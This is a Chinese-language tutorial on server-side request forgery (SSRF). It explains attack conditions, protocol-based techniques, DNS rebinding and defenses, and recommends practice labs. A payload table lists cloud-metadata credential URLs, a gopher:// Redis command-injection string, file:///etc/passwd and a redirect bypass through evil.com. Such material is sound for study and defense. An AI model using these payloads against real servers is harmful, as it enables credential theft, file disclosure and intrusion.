什么是 SSRF?
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,诱使服务端发起内部或外部请求的攻击方式。攻击目标通常是 内网服务、云元数据接口、其他受信主机。
SSRF 的核心特点:
- 发起请求的是服务器,而非用户;
- 攻击者可以利用它访问本不应该暴露的内部资源;
- 常发生在服务端允许用户提供 URL 的功能中(如头像抓取、Webhook、RSS 订阅等)。
SSRF 攻击条件
-
应用中有 “服务端请求 URL” 的功能,如:
- 图片抓取
- 在线转码
- RSS 订阅
- Webhook / 回调通知
- PDF 导出
- 任意 URL 下载、预览等功能
-
服务端未对 URL 做 协议、地址、端口、跳转 等有效限制。
SSRF 攻击分类与技巧
一、按请求协议分类
类型 | 协议 | 示例用途 |
---|---|---|
基础 SSRF | http , https | 访问内网系统、探测服务 |
文件 SSRF | file:// | 读取本地文件内容 |
命令注入型 SSRF | gopher:// | 构造协议指令,如 Redis 命令注入 |
模糊探测型 SSRF | dict:// , ftp:// | 探测服务响应行为或类型 |
DNS 重绑定 SSRF | 域名绕过 | 绕过白名单访问内网地址 |
二、按访问目标分类
- 攻击内网服务(最常见)
http://127.0.0.1:8000/admin
http://192.168.1.1:8080/status
攻击意图:
- 探测开放端口
- 越权访问 Web 管理界面
- 利用弱口令登录(与爆破结合)
- 云环境元数据窃取
http://169.254.169.254/latest/meta-data/
云平台凭证泄露 → 远程控制云主机(EC2、ECS、GCE 等)
- 向 Redis 注入命令
利用 gopher://
构造请求,发送原始 TCP Payload:
gopher://127.0.0.1:6379/_%0D%0ASET%20x%20hacked%0D%0A
或写入定时任务/公钥实现远程命令执行。
- 与 DNS 重绑定结合
- 域名前解析为外网 IP,验证通过
- 稍后解析为内网 IP,完成访问
http://trusted.example.com -> [8.8.8.8] -> [127.0.0.1]
- SSRF to RCE(综合利用)
通过 SSRF 实现:
- 内部系统弱点 RCE
- Redis/Flask Pickle 注入
- 内部 REST API 泄露密钥 → 命令执行
SSRF Payload 示例大全
目标 | Payload 示例 |
---|---|
探测本地服务 | http://127.0.0.1:80 |
访问云元数据 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
Redis 命令注入 | gopher://127.0.0.1:6379/_%0D%0ASET%20test%20hello%0D%0A |
文件读取 | file:///etc/passwd |
内网探测 | http://192.168.0.1:22 |
跳转绕过 | http://evil.com/redirect?url=http://127.0.0.1:80 |
⚠️ 注意:需要结合具体功能点调试 Payload,部分协议或跳转可能被服务器或 WAF 限制。
SSRF 防御措施(系统化)
层级 | 防御措施 |
---|---|
应用层 | 严格限制 URL 协议、地址、端口,使用地址白名单 |
网络层 | 防火墙禁止对内网、169.254.0.0/16 等特殊网段发起请求 |
逻辑层 | 添加签名校验、Token 验证、防止用户控制 URL |
响应层 | 禁止将敏感接口直接暴露,内网服务需鉴权 |
日志监控 | 记录请求地址、频率,监测异常访问模式 |
推荐 SSRF 靶场练习
- 🔗 SSRF Labs (by Orange Tsai)
- 🔗 HackTricks SSRF Cheatsheet
- 🔗 DVWA、HackTheBox、PortSwigger Labs
一句话总结
SSRF 是一种“服务器替攻击者打洞”的攻击,真正的防御在于 彻底隔离请求权限边界。